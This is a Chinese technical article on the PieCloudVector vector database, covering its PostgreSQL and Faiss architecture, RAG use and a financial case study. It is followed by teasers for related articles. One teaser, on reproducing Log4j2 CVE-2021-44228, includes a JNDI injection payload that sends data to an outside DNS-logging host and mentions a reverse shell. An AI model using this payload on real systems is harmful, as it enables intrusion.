PieCloudVector:大模型时代下向量数据库的设计与应用

news2024/9/20 22:23:14

近几年大语言模型的突破带来自然语言相关的向量数据爆炸式增长,同时为管理这些向量数据而设计的向量数据库的关注度也在不断提高。大语言模型和向量数据库的组合在多个领域都具有广泛的应用,如语义检索、推荐系统、问答机器人等。本文将探讨向量数据库在大模型场景下的应用趋势,并结合用户案例,详细介绍拓数派向量数据库 PieCloudVector 的架构设计与技术实现。

随着人工智能技术的飞速发展,大模型成为推动 AIGC 前沿发展的关键力量。借助大模型的强大数据处理能力,AIGC 能够自动生成高质量、个性化的内容,实现智能问答、情感分析和文本生成等功能,并已经在金融、传媒、文娱、电商等多个领域广泛应用。然而,大模型仍然面临诸如数据时效、私域数据、长期记忆和幻觉等挑战和局限性,这极大地限制了大模型在各种场景中的落地。

1 检索增强生成(RAG)

为有效解决大模型的局限性,当前业界广泛采用的方法是利用检索增强生成(Retrieval-Augmented Generation, RAG)技术来提升大模型的性能。

RAG 是一种将信息检索系统与生成式大语言模型结合在一起的技术,它的核心思想是让语言模型在生成回答时能够动态地从外部知识库中检索相关信息,从而提高模型生成内容的准确性和可靠性。

image.png

将原始数据库转换为 Embeddings

整个 RAG 框架包含三个主要过程:检索、增强和生成:

  • 检索(Retrieval): 将用户的查询通过 Embedding 模型转换为向量,以便与检索系统中存储的内容(通过同样的 Embedding 模型转换得到的向量数据)进行比对,通过相似性搜索(计算向量之间的距离),找出与查询最匹配的一组数据。

  • 增强(Augmentation): 将用户的查询内容和检索到的相关内容一起嵌入到一个预设的提示词模板中。

  • 生成(Generation): 将经过检索增强的提示词内容输入到大型语言模型中,从而生成质量更高的内容。

2 向量数据库:大模型的最佳搭档

向量数据库是一种专门用于存储和处理多维向量数据的数据库系统。 通过特定模型,我们可以把文字、图像、语音都转换成向量并存储,而向量数据库的重点工作是将向量与对应的原始数据关联起来。

将数据存储之后,向量数据库的另一项工作就是建立索引,以便对向量数据进行高效搜索。虽然不建立索引也可以进行搜索,例如使用全表扫描将记录一条一条进行比对,同样可以找出最接近的 K 个向量,但当信息库规模达到一定量级之后,这种方法将变得非常低效,而建立索引则可以大幅提高搜索性能。

最后,一个完整的向量数据库还需要配套调用接口和生态工具,以满足用户在数据类型支持、灵活性、接口易用性等多方面的需求,配套工具生态系统直接关乎向量数据库的用户友好度与实用性。

3 拓数派 PieCloudVector 设计与实践

拓数派旗下云原生向量数据库 PieCloudVector 进一步实现海量向量数据存储和高效查询,具备多维分析能力,可支持和配合大模型的 Embeddings,助力多模态大模型 AI 应用,是大模型时代的分析型数据库升维。

当前向量数据库技术领域主要分为两个流派:

  • 从向量搜索及索引算法出发: 补齐所有与数据库相关的功能,即为向量搜索专门设计的专有向量数据库;

  • 从数据存储方案(关系型/非关系型数据库或其他系统)出发: 外挂向量搜索模块实现向量搜索及索引算法,具有良好的数据通用性,但性能不如专有向量数据库。

为融合两大技术方向之长,拓数派向量数据库 PieCloudVector 在设计时采用了自研的技术路线将 Faiss 组件与关系型数据库对接,在保证良好数据的通用性基础上性能也达到业界前沿水平。

3.1 基于 PostgreSQL 打造数据库内核

PieCloudVector 基于 PostgreSQL 内核打造,这种方案让 PieCloudVector 得以继承关系型数据库的所有优势,包括:

  • 支持单机或分布式部署
  • 支持完整的 ACID
  • 支持 SQL 进行向量搜索
  • 支持向量标量混合查询

拓数派利用团队在开发云原生虚拟数仓 PieCloudDB Database 时在 eMPP(elastic MPP)和分布式系统领域的丰富经验和技术优势,构建了 PieCloudVector 的分布式架构。

下图为 PieCloudVector 的分布式架构图,包括一个 Coordinator 主节点、多个 Executor 节点。PieCloudVector 执行引擎既支持 CPU 进行搜索和加速,也支持 GPU 加速。 数据可以存储在本地磁盘或云存储(S3)上,众所周知,虽然云存储在存储成本上具有优势,但其访问性能可能不如本地磁盘,而 PieCloudVector 的索引是存储在内存中的,因此能很大程度上避免系统性能受存储的影响。

image.png

PieCloudVector 分布式架构

3.2 基于 Faiss 打造向量搜索引擎

PieCloudVector 基于 Faiss 开源算法库打造了向量搜索引擎,这也是市面上很多主流向量数据库的选择。因为向量搜索算法种类非常多,每种算法包含的细节也很复杂,从零自研算法所需的人力和时间成本过大,而 Faiss 的优势是它涵盖了主流的向量搜索算法以及可调节参数,是目前最流行且效率比较高的算法库,既保证了性能的同时又节省了大量开发成本。

  • 3.2.1 向量搜索算法

在向量搜索中,K-最近邻算法(K-Nearest Neighbor,KNN)是最基本的问题之一。通过计算得出查询向量与数据集中每个样本之间的距离,找出一组距离最近的K个向量,提供精确的检索结果。但随着数据量的增大,该方法计算成本也会成倍增长,导致大型高维数据集的搜索时间很长。

为了缓解这种情况,PieCloudVector 引入了近似最近邻算法(Approximate Nearest Neighbor,ANN),通过在性能、召回率、内存三者进行权衡,牺牲部分精度以加速查询速度,进一步提升查询效率。

PieCloudVector 支持主流的 ANN 算法,包括最为流行的 IVF 和 HNSW 算法。

  • IVF(Inverted File): 基于倒排文件的向量索引算法。

  • HNSW(Hierarchical Navigable Small World): 基于图的向量搜索算法。

image.png

PieCloudVector 支持主流 ANN 算法

  • 3.2.2 向量压缩

在实际使用场景中,为满足性能要求,基本上所有的数据都需要加载到内存中进行访问,而当向量数据规模达到一定程度时,尤其是高维数据,直接存储对于内存的压力会非常大,因此,PieCloudVector 采用了乘积量化(Product Quantization,PQ)的方法对向量数据进行压缩,这也是目前最流行的压缩算法之一。

乘积量化的原理是将原始的高维向量分解为若干个低维的子向量,并对每个子向量进行独立量化,这样每个原始向量就能由多个低维空间的量化编码组合表示,不仅节省了大量的内存空间,还可以加快整个系统的检索速度。

image.png

乘积量化 Product Quantization

此外,Faiss 算法库还有很多其他的特性,包括:

  • 支持二进制索引
  • 支持多级索引
  • 支持 CPU 多核并行和 GPU 加速

3.3 Faiss 与 PostgreSQL 内核对接

在选择了 Faiss 算法库作为向量搜索引擎之后,接下来的步骤是实现 Faiss 与 PostgreSQL 内核的集成。

在对接过程中,PieCloudVector 新增向量列类型用于基本的加载与卸载。向量维数根据实际 Embedding 模型来决定,其他数据操作(CREATE、INSERT、COPY 等)则与正常的关系型数据库一致,支持标准的 SQL 语法,可大幅降低用户学习成本。

除了新增数据类型,PieCloudVector 还实现了向量距离运算符与向量近似搜索的索引。每个运算符实际对应一个内置函数,例如欧式距离、余弦距离、内积距离等,在执行时会将运算符转换为对应的函数调用。

向量搜索索引则与关系型数据库中建立索引的语法相似,主要区别是创建向量索引时会附带一个 Operator Family 参数,用于指定该索引使用的向量距离计算公式,不同的向量距离计算方法会生成不同的索引数据结构,其他参数则继承自 Faiss 中对应的算法参数。

实现向量数据类型以及索引创建之后,下一步是确保这些数据与数据库内部事务的可见性保持一致。Faiss 中仅对向量数据进行索引,因此,PieCloudVector 对 Faiss 内部的存储格式进行了改造,在 Faiss 索引中增加了MVCC(多版本并发控制)信息以及一些元数据的列。

3.4 Faiss OpenMP 线程改造

OpenMP 是一种用于共享内存并行系统的多线程程序设计方案,支持的编程语言包括 C、C++ 和 Fortran。OpenMP 提供了对并行算法的高层抽象描述,特别适合在多核CPU机器上的并行程序设计。例如在 for 循环的上层增加一条 OpenMP 指令,那么在编译后,该程序则会多线程并行执行。

Faiss OpenMP 的多线程性能在 CPU 核数低(32以下)的时候较好,但当 CPU 核数增加到 128 时出现了性能回归问题,即核数增多执行速度反而下降了。产生该问题的原因是,大部分 CPU 并没有用在向量搜索工作的代码路径上,而是去处理了大量的锁冲突、互相等待以及全局的线程切换,从而浪费了大量的时间。

为提升性能,PieCloudVector 对 Faiss 的整个多线程机制进行了改造:

  • 开发一套线程库用来控制整个全局线程池中的线程数量;

  • 使用 LLVM(Low-Level Virtual Machine)工具链对 Faiss 的整个源码进行解析,找到所有的 OpenMP 指令语句,并将这些指令全部替换为自定义线程池代码;

  • 对于包含 reduction 的并行代码块,将每个线程各自计算的结果进行汇总,并将代码块中的共享变量进行替换。

经过一系列改造之后,PieCloudVector 解决了 OpenMP 线程瓶颈问题, 避免了大量无效线程,大幅提升了 QPS,并且大幅降低了内存占用,节省出来的内存可以用来存储向量数据,降低系统的延迟。

在这里插入图片描述

线程改造后的性能提升

此外,Faiss 虽然支持 GPU 加速,但在调用 GPU 搜索代码时,多线程提交会产生线程安全问题。对此,PieCloudVector 单独做了特殊的代码路径来避免并发调用 GPU,即使是在处理多连接查询,查询请求也会按批单线程提交。

3.5 国产化兼容适配

在完成 PieCloudVector 的功能与架构设计后,拓数派团队还补齐了 Faiss 库编译时需要的所有依赖,兼容麒麟软件、统信软件、龙蜥社区、OpenCloudOS等 10 多家国产硬件和操作系统,进一步巩固了国产化兼容适配程度,助力企业客户建立自主可控技术体系。

在中国信通院的 2024 “可信数据库”系列测评中,PieCloudVector 以全项通过的成绩通过《向量数据库基础能力测试》并获得证书,目前仅有两款产品获此成绩,这充分证明了 PieCloudVector 优秀的产品能力,也表明 PieCloudVector 完全符合向量数据库技术标准要求。

image.png

PieCloudVector 兼容主流国产软硬件

4 基于 PieCloudVector 的 RAG 实践案例

PieCloudVector 凭借其卓越的性能和广泛适用性,已成功在各行各业的大模型领域中落地应用,特别是在金融大模型领域展现了显著的优势。

在东吴证券应用案例中,拓数派为客户打造了基于向量数据库 PieCloudVector 的 AIGC 应用解决方案,采用自研大模型东吴秀财 GPT,结合 LangChain 开发框架以及 PieCloudVector 构建了 AIGC 应用平台。具体信息欢迎参考相关文章。

image.png

基于 PieCloudVector 的 RAG 案例

整个应用流程可分为如下主要步骤:

  • 将东吴原始数据文档通过 Embedding 模型转换成向量后存储到 PieCloudVector 中,这些数据将定期更新以保证实时性;

  • 接着将用户输入经过相同的模型转换为向量,并通过 LangChain 架构调用 PieCloudVector,搜索到一组与用户输入内容相关的文档资料;

  • 将该资料与用户输入组合成新的提示词发送给东吴 GPT 模型,从而生成质量更高的答案回复给用户。

通过外挂基于 PieCloudVector 的知识库,拓数派助力东吴大模型提升处理新问题的能力,提高检索工作的效率和准确性,并满足了客户构建投研分析、量化交易、智能顾问、情绪分析等多个场景的 AI 应用的需求。

5 展望未来

目前,PieCloudVector 仍在不断地优化升级,下一步计划在以下几个方面深入探索,并将致力于与不同领域的应用场景相结合,为客户提供更强大、更全面、更灵活的解决方案:

  • 非侵入式线程优化: 现阶段,PieCloudVector 对于 Faiss 线程池的改造是侵入式代码改动,对于后续更新维护并不友好,拓数派团队正在探索非侵入式线程池优化模式。

  • 混合查询索引: 对于向量和标量混合查询的场景,如果两边的数据均有索引,在执行时一般只会调用其中一个索引,后续将考虑设计混合式索引结构以加速查询。

  • GraphRAG: 在传统的基于向量搜索的 RAG 模式之上,进一步实现基于知识图谱构建的检索增强生成方案。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

超市是怎样高效完成客流统计与客流分析

随着科技的进步,越来越多的超市开始采用现代化的客流统计系统来优化日常运营和提升顾客体验。本文将探讨超市客流统计面临的难题、客流统计系统的构成及其应用场景,以及系统如何通过高识别率和热力图分析等功能为超市带来实际效益。 一、景区客流统计难题…

应用技术案例:复合机器人在精密制造领域的精准赋能

在精密制造这一对设备精度、稳定性及效率要求近乎苛刻的行业中,复合机器人以其无与伦比的多功能性、极致的灵活性以及精准的操控能力,正在为该领域实现降本增效。以下,我们分享一个富唯智能的复合机器人在精密制造领域的应用案例。 案例背景&…

记一次使用visual studio编译C++项目时无法找到 enum中的某些项

vs 2017 编译一个cocos2dx 的老项目时,报错: 在项目中搜索关键字 ARMATURE_LOOP_COMPLETE,发现在文件EventType.h中是有定义的,是 enum Event 的一项,而且确认了报错的文件已经引入了这个头文件: 于是想检查…

C++ 与其他编程语言区别_C++11/14/17新特性总结

C11 decltype类型推导 decltype不依赖于初始化,根据表达式类推导类型 auto b :根据右边a的初始值来推导出变量的类型,然后将该初始值赋给bdecltype 则是根据a表达式来推导类型,变量的初始值与表达式的值无关表达式类型注意点&…

React组件生命周期

一张图解释 React 类组件生命周期方法 React 类组件的生命周期可以分为三个主要阶段: 挂载(Mounting) 更新(Updating) 卸载(Unmounting) 挂载阶段 在组件实例被创建并插入到 DOM 中时调用…

目标检测 | yolov1 原理和介绍

简介 论文链接:https://arxiv.org/abs/1506.02640 时间:2015年 作者:Joseph Redmon 代码参考:https://github.com/abeardear/pytorch-YOLO-v1 yolo属于one-stage算法,仅仅使用一个CNN网络直接预测不同目标的类别与位置…

Transformer 会彻底改变时间序列预测吗?

欢迎来到雲闪世界。“生成式人工智能革命”的核心是谷歌于 2017 年推出的 Transformer 模型。 但每一次技术革命都会带来混乱。在快速增长的环境中,很难公正地评估创新——更不用说估计其影响了。 开启人工智能这一突破的Transformer模型,如今已成为一…

【Linux】文件描述符 fd

目录 一、C语言文件操作 1.1 fopen和fclose 1.2 fwrite和fread 1.3 C语言中的输入输出流 二、Linux的文件系统调用 2.1 open和文件描述符 2.2 close 2.3 read 2.4 write 三、Linux内核数据结构与文件描述符 一、C语言文件操作 在C语言中我们想要打开一个文件并对其进…

精进日常:每日练习与明智取舍的艺术

目录 题目1.对于非运行时异常,程序中一般可不做处理,由java虚拟机自动进行处理。2.下面哪个关键字可以用于Java的构造方法上?3.以下代码执行的结果显示是多少( )?注解总结 题目 选自牛客网 1.对于非运行时…

GCC编译:静态链接库与动态链接库

! GCC 编译 C(C)静态链接库(gcc -L、gcc -l)和动态链接库(gcc -fPIC -shared)的创建和使用_fpic shared-CSDN博客https://blog.csdn.net/wohu1104/article/details/110789570静态链接库: 在 Linux 发行版…

JDFrame 一款比 Java 8 Stream 更灵活的数据处理工具

一、JDFrame 介绍 在大数据处理领域,Apache Spark以其强大的分布式计算能力和丰富的数据处理API而广受好评。然而,在许多日常的软件开发场景中,我们面临的数据量可能并不需要Spark这样的分布式系统来处理。相反,我们更希望有一种…

聊聊ChatGLM2-6B模型的微调

概述 GLM、ChatGLM的相关基础知识说明: GLM模型底层还是基于Transformer,因此其设计、优化都是围绕Transformer的各个组件的。从注意力层的掩码、位置编码等方面优化与设计。ChatGLM3/ChatGLM2的源码中,比如finetune、trainer等代码&#x…

看不见的硝烟:中国网络安全三十年沉浮史

昆仑侠 锦缎 2022 年 05 月 20 日 本文系基于公开资料撰写,仅作为信息交流之用,不构成任何投资建议。 2022 年 5 月 16 日,俄罗斯黑客组织 KillNet 向包括美国、英国、德国在内 10 个国家的政府正式 “宣战”。 2022 年 4 月 28 日&#xf…

vue如何在组件中监听路由参数的变化

使用 watch 监听 $route 对象 的变化,从而捕捉路由参数的变化 beforeRouteUpdate 导航守卫 当前组件路由更新时调用 beforeRouteUpdate 钩子只在组件被复用时调用,即当组件实例仍然存在时。如果组件是完全重新创建的,那么应该使用 beforeR…

GD 32 滤波算法

GD32硬件滤波算法 程序代码&#xff1a; #include <stdint.h> #include <stdio.h> #include "gd32f30x.h" #include "delay.h"static void GpioInit(void) {rcu_periph_clock_enable(RCU_GPIOC);gpio_init(GPIOC, GPIO_MODE_AIN, GPIO_OSPEED_…

log4j2远程执行代码CVE-2021-44228复现

一.访问网址 发现 /solr/admin/cores?action参数 可以上传 如下图 步骤二 在dnslog平台上来监控我们注入的效果 上传参数 solr/admin/cores?action${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号 查看他的回显 开始准备反弹shell 下载JDNI&#xff0c…

编程语言 | C | 代码整理 | 4月

八月拍了拍你&#xff0c;并对你说&#xff1a;“好运就要开始了”&#xff01; 目录 编程语言 | C | 代码整理 | 4月2019/4/12019/4/22019/4/22019/4/32019/4/42019/4/52019/4/62019/4/72019/4/82019/4/92019/4/102019/4/112019/4/122019/4/132019/4/142019/4/152019/4/162019…

【简历】武汉某985大学:前端简历指导,拿offer可能性低

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这是一份985武汉某大学25届的前端简历&#xff0c;那么985面向的肯定是大厂的层次&#xff0c;但是作为前端简历&#xff0c;学校部分&a…

Jenkins的安装方式

一、Jenkins是什么 Jenkins是一款开源CI&CD软件&#xff0c;用于自动化构建、测试和部署软件等各种任务&#xff0c;以实现持续集成。 Jenkins支持各种运行方式&#xff0c;可通过系统包、Docker或者通过一个独立的Java程序。 二、安装方式 2.1禅道智能应用平台一键安装…

区间预测 | 光伏出力的区间预测(Matlab)

区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.适用于matlab2020及以上。可任意选择置信区间&#xff0c;区间覆盖率picp、区间平均…